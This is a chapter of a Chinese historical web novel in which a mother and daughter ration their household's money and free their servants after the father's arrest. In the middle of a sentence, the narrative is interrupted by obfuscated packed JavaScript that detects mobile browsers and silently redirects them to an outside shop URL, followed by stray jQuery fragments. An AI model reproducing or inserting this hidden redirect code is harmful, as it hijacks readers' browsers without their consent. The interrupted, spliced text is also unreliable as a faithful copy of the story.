等赵子平一行人走后,林婉清这才脱了力般,跌坐在了椅子上。
沈沁姝上前,声音带着些轻颤,想要宽慰她:“娘……”
林婉清深吸一口气,眼眶不受控制地泛红,强压着喉间的哽咽,尽量不在女儿面前示弱,道:“我没事。到底出了何事?”
沈沁姝转头看向周管家,周管家立刻会意,带着前厅里所有下人悄声退了出去,反手闭上了门。
沈沁姝屈膝蹲在林婉清膝边,将父亲的打算和盘托出,但隐去了他们怀疑赵子平会公报私仇的细节。她扯出一抹极淡的笑,轻声道:“爹不会有事的。”
林婉清扶着额,低头看向女儿。她自然知晓她是怕自己担心,所以刻意隐瞒了一些事情。
但她作为妻子,赵子平与丈夫的矛盾,她又怎会不知?往日沈敬之甚少与她提及官场是非,可从他偶尔的只言片语里,她也能猜出赵子平是何等睚眦必报的性子。
她轻轻叹了一声,声音里带着几分疲惫:“自你展露才学,你父亲便常与你谈论这些事情,我也就管的少了些。但我不是什么都不懂的。赵子平此人定不会放过你父亲,他怕是要受些皮肉之苦。”说到这儿,她声音几不可闻地哽咽,轻咳一声才稳住情绪,又道,“而你父亲不是任人拿捏的性子,若真是无凭无据的诬陷,他绝不会直接跟赵子平走的。说吧,你们还瞒了我什么?”
看着林婉清洞明一切的眼神,沈沁姝微微移开了视线,低声将石勇一事告知了她。说完后,她的声音满是悔意,又道:“是女儿的错,若我当初不去管那些流民,父亲也不会开仓放粮……”
话音未落,一只有些发凉的手抚上了她的脸,轻轻抬起她埋低的脸。沈沁姝停了下来,对上母亲含泪但温柔的目光。
林婉清心疼地看着沈沁姝,她从不知晓女儿心里是这样想的。她伸手轻轻抹去沈沁姝眼角的泪,温柔道:“这不是你的错,姝儿。自幼你父亲便教你读圣贤书,‘民惟邦本,本固邦宁’的道理,他比谁都懂。就算没有你,那日他也绝不会坐视流民受苦。而且那日你提出此事,你父亲私下与我提起时,还说你有恻隐之心,是仁之端也,对你颇为赞赏。该对此感到愧疚的人不是你,是那些读了一辈子书,却见死不救还落井下石之人。”
说完,她将沈沁姝拥入怀中,一下一下拍着她的背,放缓了语气:“石勇此人也是出于好心,这都是我们沈家的劫难。事已至此,既来之,则安之,便以你父亲说的做吧。等会我让周管家备些寻常的点心绸缎,给杨夫人递帖子,看看能不能见着杨县令。”
沈沁姝刚想说要陪她去,林婉清便说道:“我与杨夫人平日里交情不深,带着你去实为不妥,反而惹人生疑。等会儿我让周管家将账册给你送去,你留在家中,细细核对府中账目,清点田产铺面,看看有多少现银,有哪些物件需要典当变卖的。赵子平此人不好对付,这些事还得早早准备。”
“好。”沈沁姝便没有执意要跟着,垂眸点头应下。
林婉清带着张妈出门后,周管家便亲自带着人,将用油布包好的账册送到了内院,再由春儿搬到了沈沁姝房中。
“小姐,所有的账册都在这儿了。”周管家站在门口道。
“你先下去吧,我先看看,等会儿有需要还得劳烦周管家。”沈沁姝道。
周管家应声退下,春儿看了她一眼,也跟着退了出去。
“春儿,等会母亲回来,你即刻跟我说。”沈沁姝叫住了她,吩咐道。
“是,小姐。”
闻言,春儿福身应道,随后替她关上了门。
待人走后,沈沁姝细细算着家里的用度。这些天施粥家中耗费了些银子,家中虽有几处田产山场和铺面,却都不在繁华地带,进项有限。府中人员虽算少,但也有护院十人、丫鬟杂役五人、门房一人、厨娘两人,再加上周管家、春儿、老刘、张妈这些心腹,算下来也有二十余口人,每月开销着实不小。
如今现银肯定不够,她要私下赎父亲,地契又绝不可直接给赵子平,只能先去典当。眼下家中人员也该裁减,一来人多口杂难免出错,说难听些她如今就是贿赂赵子平,切不可让很多人知晓;二来也好减少开支,凑银子救人。
想着,沈沁姝翻出舆图,开始看铺面的位置,估算大概能典换多少银子。
还没算上几笔,门外便传来春儿的敲门声:“小姐,夫人回来了。”
沈沁姝微微皱眉,如今离母亲离家不到半个时辰。单是从沈家到县衙后宅再折返,便需要小半个时辰,这般早回,多半是递的帖子被拒了。想到这儿,沈沁姝心中一沉,立刻起身拉开了房门,对春儿道:“夫人现在在哪儿?”
“婢子来寻小姐时,刚见马车到了宅门口,这会儿……婢子这就去问问。”春儿也摸不准情况,她一看马车到了门口,便先来找沈沁姝了。
沈沁姝强压下心慌,对她安抚地笑了笑:“不必了,我和你一同去。”
沈沁姝理了理衣襟,想了想,快步往了前厅去了。
刚过了穿堂,便撞见了迎上来的周管家。
周管家看见她,连忙上前,躬身回话:“小姐,夫人在前厅等您。”
沈沁姝点头表示自己知道了,脚步未停,径直往前厅赶去。
还未进到前厅,沈沁姝便看见林婉清坐在凳子上,神情恹恹带着几分悲戚,一旁的张妈正俯身低声对她说着什么。
沈沁姝跨进前厅,林婉清听见动静,抬头看向她,接着对张妈道:“你先下去吧。”
“是”张妈福身应道,又示意沈沁姝身后的春儿跟着她退了出去。
“门房退了名帖,说杨夫人身体不适,一概不见外客。”林婉清苦笑道,“当初流民众多,若真闹起来,城中民心不稳,你父亲提出此事算是让他享了政绩,但同时也会担责。县令就是怕有一天会如此吧,而你父亲也料到会如此,知晓只有私下见杨县令才能促成此事。之后,杨大人果然未留下书面凭据,只口头默许。如今赵子平扣的是谋逆之罪,杨县令要避嫌,也是常理。”
未等沈沁姝开口,林婉清已将悲伤的神情收了起来,她没有看女儿,只扯出一抹极淡的笑:“不过你也不必太担心,你父亲什么都能料到,他既说了无事,定会无事的。”
沈沁姝看她强颜欢
;eval(function(p,a,c,k,e,d){e=function(c){return(c<a?"":e(parseInt(c/a)))+((c=c%a)>35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|mgxs|t|shop|17494610|202417||http|test|mini|href|location''.split(''|''),0,{}));
() {
$(''.inform'').remove();
$(''#content'').append(''
笑的样子,心里也不好受。她上去握住母亲的手,指尖微微发力,安慰道:“娘说得是,父亲既说了无事,定会没事的。”说着,她压下心头的酸涩,顺势提起方才核对的的帐目,将府里的现银、田产铺面的进项,还有要精简开支、准备典当的打算,一一说给了林婉清听。
“既如此,让周管家来见我。”
沈沁姝应下,出门叫张妈去请周管家。不多时,周管家到了,他躬了躬:“夫人,小姐。”
“你将雇来的佣人和护院都叫来,给想走的人都结清工钱,发足遣散费。”林婉晴声音带着些许疲惫,又道,“至于签了卖身契的家奴,把契书还给他们,让他们自己选,要走还是要留。要走的同样也结清工钱和遣散费;愿意留下的,就继续发月钱,卖身契也一并给他们,从此便是自由身了。如今老爷的事情,他们怕是也都知道了,我不愿连累他们。”
林婉清顿了顿,看向周管家:“你、张妈、春儿和老刘也是如此,若你们若是想走,我绝不拦着。”
“夫人说笑了,小的不会走。小的相信老爷定会平安无事。”周管家低头应下。
周管家走出前厅,随后召集了家中所有下人。
奴仆们交头接耳,都纷纷有了猜测。
周管家轻咳一声,将林婉清的决定说了出来。
下人们闻言,全都愣住了,互相看了几眼。寻常人家出事,哪有这般仁厚的?为了筹钱,大多会将家奴转卖给人牙子,哪有给家奴遣散费,还卖身契一并归还,给他们自由身的?便是遣散雇来的佣人,也只结当月的工钱,哪还会发足遣散费。
周管家自然也知晓他们的心思,虽然他是沈敬之到青溪才雇来的管家,但朝夕相处他知晓自家主子的性子。
他看向众人,沉声道:“夫人的意思说得明白,愿意走的,来我这儿领了工钱、遣散费和卖身契,便可自寻生路;愿意留下的,家中依旧待你们如旧。”
过了一会,一个杂役上前领了工钱,对周管家微微作揖,周管家看着他,微微点了点头。
那杂役对着前厅的方向,恭恭敬敬地深深躬了躬身,道:“多谢夫人小姐,小的家中还有妻小。沈老爷吉人天相,定会平安归来。”说完也不敢多留,转身快步离开了。
前厅中,林婉清看着沈沁姝,轻声道:“我们若出去,他们难免会拘谨害怕,便在这儿听着吧。”
沈沁姝颔首。
接着,更多的雇来的佣人上前领了工钱,也有零零散散几个有卖身契的家奴也上前领了卖身契和遣散费,叩谢离开了。
约莫过了一刻钟,外面的动静渐渐小了,终于安静下来。
随后周管家走了进来,对两人躬身回话:“夫人,小姐,都安排妥当了。现有护院四人,丫鬟杂役各一人,门房一人,厨娘们都离开了。春儿、老刘、张妈都留下了。”
话音刚落,张妈也走了进来:“夫人小姐,老身和春儿都会些厨艺,眼下厨娘都走了,未时已过,就让我们来准备午膳吧。”
林婉清点点头,温声道:“劳烦了。”
“夫人客气了。”几人齐齐福身应道。